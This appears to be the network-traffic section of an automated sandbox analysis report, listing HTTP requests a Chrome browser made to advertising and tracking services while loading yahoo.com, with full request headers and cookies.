Source: global traffic	HTTP traffic detected: GET /setuid?bidder=sonobi&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=2d729954-b637-472c-acf0-d931fcda5d4a HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /w/1.0/pd?cc=1&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: yahoo-bidout-d.openx.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250 HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=openx&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=e371b1cd-b253-0913-153a-eaacb9b94c53 HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJzaGFyZXRocm91Z2giOnsidWlkIjoiNTFiOTUxM2QtMzFmYi00ZTEzLThhOTYtMzI2NjE2ZDAwNDNmIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDQuODU5ODQ5NjhaIn19fQ==
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_hm=ZjZjMGVkYzgtYzJiYi02NDVlLTZiNTYtNzAwMGYyMDA0MGJl HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=8279427f-1766-8100-beb8-a82e50d1453e HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/openx/4e685846-9b60-a8b3-4f61-3c4cc7b54397?gdpr=0 HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjssFeWijijYeVrDHQsE9uLngcGqKqeI2iQFWdDJP_eHrGB56SP0qfSER0N5j4QbilWniOJfOWNnDfox8KWxFCRMn00Y3TOuLuvmNEXYkDiXclcpZ8qQg7azfQHv6Att5lPM52FUdwxZJW2P0UtPMjaklC_lQjp9iVilcuPj86bor7AO_y3v884_mPFNG3SIvT1t85MzzhMelAToWwJOLECfPJ-goxrJ-pdYtUY8RDe42Guf1JxxYS3SQoTp4qMivlWbj2QyK-tzUyNQcDMC0mlMg1iPrkNZdM1bCbnuyWRYBI1sqXn69qNkdQzv2PBav6ZIT_Ze9ONBHPf5uWl5DEKwRBkMSTfZiFWAXVcNpuMRx_pOfygDjVt8sBZcK44tOEchqD_GQo_UapZl8nzSY5IwaC21HGkZIq86X3ccnsYT9b3pjA8OX7kwOXkZnS6jM4LQNy16_Jbou74XJqrzjQTSIzczedunRDgDKx79vI_P93lcu9tEEiY028JCk57MBw_oe9KtHb3rWjHTJ8brtpmd4enrSO8S0dcweDPYUNPBF0KOzaDyvR3yUKBXvGAcfhmRA4R9-BXjMmOvn9W7ohq1sxV9whApZMwrwaauUrOx4LTF5zdBXVfN-IBTBfiERcw8VeHljQ9JTDYphPRAgRZX6juPu_3oiZilE5xnAF5bAI28cthrTgtaW-wtKS9W2GyDjf_XUHRE8eHhxv9a4idSD7yVtZCMRbCv0yn79MneB4skCwsjQ6q5auNe8rrp2tNBXB-rO7MymHa8XA-PF4HcnREy5d1NsY2cElnDR4dJWHiBcTyuHN-kFmhrbMIOJW6oF6c4dLZ99XU9kBy-BojfQDKe1eUVtmgy0S_tlyTlB6mIrZRkgjJ7INLUwZMhga1yeEmpiDBBRRXT9T8lQvuxqi8y9fOxQrFy86TpvCJh9_YkFxfF2GbST5AwbaGNxKm2fGdewb5_lFiu4wAoBDbVN93KNpJ34_wFEByeY-0AiCp7GZANU-N-c6v1uGgWq1h2V6M9k9lkHqyoTCiit9OnH5e3Dd3JQ-kDOlOaSWu4vqckJP4-vTDB05wYKMDEjnZDU9XtmwsltOclBmg6FhEDomK9YTd3PcKKPN8Xat016eO-TgAgXXUDLyTURSIfUDyO0lNCNg0BPpHTHDBJRCpcyfHTqVyg9-oJBe7zWwQjk4c07tdGoTxe_pBKkHxsb8Gpl9vHaRG40S4CRKGXuOUQiQD46bdnkNLLn-JfPEUx6h7zmCFCOJOrOtbQEugq9068ht2aYVgzrr4sOG067_XLSiv7FbmaevbcWtRwSGo-m3TIb7vE6ScCrSh3P4ryTDBn4Su3fElJ3OMQZdYL_xBXepnA8yH_9Djy2rOUvpe2L_CZcVCZ8iXOAJOyGNbynqSbkCr9Vjc4kmSIQbS4h6NPszHkYWqRFXWytHaFJNy5ZIrh7c1PUFDtgQ5Y6r1VHAQtJw6poWV8zLek1-yF9oW5qx2eRyBdLwvZ6fAcqVqo-7ye2Nf88kiLtdxkg5ArqLdK68jhVVEQrhZ2jLazpyrGIsgpN3rwbENA&sai=AMfl-YTRxed2ZL5bP4czdSJXLobervjH2kptuvMVM5josd4TmZSN4SS546eQaNgcuRNPJtjPZ440xmnf4fzusC4kZEFb2cO1tOpysQBwQHiLEIWQLp3KmcfZO30-N7_9DeVBss3YTSgEivyAJKLgxEjm2oFnCs2yhm5MX9rqvfmMTjyhTlv-G6-czL_cLnCrfE8tU0JpleqSKwF7SvAHyzF2M9MJYC9Qr097-fAST4j-u8qO6WdQNmQcmUIqReZuX57mMHfmwNZG2zp-8ucdiDJ5ouJbAcy_hH0w9K6WoSj5CxA9qLSTd1M3tzQ81BtVqrd6wSKl2JGjEihAhuLOczfDj18VvsK6CeG7PhKbP-mh5OsoMPpIOKwVsX8DvdljSJ4VHYOHZbRHvjEyIpTe33fRVe8bbCi_d88t7hoKhGSFLej6ko-igiRXIX-Tju-_taNJYq0G_fUAvZ2RLZxSXHVnRjXlcH3l3gZZc5XTHRBfn9sLK0NOKymbNSZjYZijZKDn_3UZHbg&sig=Cg0ArKJSzO173YuU1KX6EAE&uach_m=%5BUACH%5D&pr=missingexchangepricemacro&crd=aHR0cHM6Ly9jdXJpLmNvbQ&fbs_aeid=%5Bgw_fbsaeid%5D&urlfix=1&omid=0&rm=1&ctpt=1135&cbvp=1&cstd=1109&cisv=r20240424.23043&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&arae=1&ftch=1&adurl= HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: c
Source: global traffic	HTTP traffic detected: GET /track/cmf/openx?oxid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /opt-out.js HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/button.png HTTP/1.1Host: d31otfhas71ais.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /eeaff1655f3d99d35bccbfaee7e711a7.webp HTTP/1.1Host: de9a11s35xj3d.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mf_logo.png HTTP/1.1Host: de9a11s35xj3d.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=medianet&seller_network=medianet_&bid_id=050da2ed-bd03-435f-be54-555e9e2da636&initiator=me&us_privacy=1YNN&gdpr=0 HTTP/1.1Host: rtb-use.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=intentiq&seller_network=medianet_&bid_id=050da2ed-bd03-435f-be54-555e9e2da636&initiator=me&us_privacy=1YNN&gdpr=0 HTTP/1.1Host: rtb-use.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /adServingAssets/icon.png HTTP/1.1Host: mcc-cms-s3.s3.amazonaws.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAEYBSgCMgsIkJ3W7r_F8zwQBTgB
Source: global traffic	HTTP traffic detected: GET /imp_s2s/v3/nPoevAi1FHWEQLiJR2TlP951GP1JwKgYXPF92ZYP9vM8IWxe0oXzJE5dE3YLdu27w8Fqp4Xtlh4QwjdEZ7SxY94PIB7uF1SSEQMFU-_0rR2ZfN-lZHnJaz3-PkLQubwlfTq2OSWTxS8b7H9CH957BXf1i0dxWy3700dgoDEMh7pOuiRdTLKo2tCnNNR9GIQZoYTglgNMX3a6XCUYFkuGo94qj8HcuJHDEd7VffByb8i0nrtwr4d0AmFxJACBEDdp3HaUPW_VaHBRiwBs4WT1hsrSF2CQy1v5Z0neFy_ouardOSwED8enbkZTZwhLPiYtkmapjOLSJ8W23u6rKkY4y1O9Y9TIOGNDXwhqYFiPI4sAWk-wjufeHeTmwy8_7D3Fj_uPQwFlPjSPQRanuZ1WkUZVXpetrpWzrzJQhI0e4Ni-tiPebMyZrtr5IEmI1qQsYDg2yQUn9Lj4vtMlCTr5crw37Pq20Q/1.049?q=1 HTTP/1.1Host: rtb-use.hellogenie.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dappnexus%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v000/t_tkr/ev?type=burl&pvid=3526568451959556956&pvt=1714257719710&plid=3494600134447014563&imp=1121930830413873533&rep_meta=OxryVXEwpTm169ULoMdnxAilR3dTHvW2h7fbytaLWZP-nZT0JZkBWv0a__McT6GnlJtFYZh_XhsVXt7s4C4_InXOHoL8uA49xwCPNEqdQURmDBproG_MMwpQTaI8I41HEqzYQVFZ8CswUJpGTJPeTZj-jR-x7Rdj4crYbAxKS27RjCaX1XxKNyO3ReoPhUKoIXdsDD-XidSuQml9bQyntX58ZFvAn5-JDPwdIlFrpWV3EAzQRVlwvoB5MMDNz246SkyjZQjh6RFpl-aXvasSZEea8Vb2WB_jg8eGJ_GECFl_zIU2ljc3NqGIB4z07Kmc7Hn9o1ElR3WwqXDftg4jCiD_84mMiCEnbb3oVN6p2fr_jn9SttB6BFoUuPDzSgbHWRATjTgOd1oiu1jUvgRXyBG6IPiXSMYBrUTsFFWOeCo HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
Source: global traffic	HTTP traffic detected: GET /ym.0.js HTTP/1.1Host: static.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169
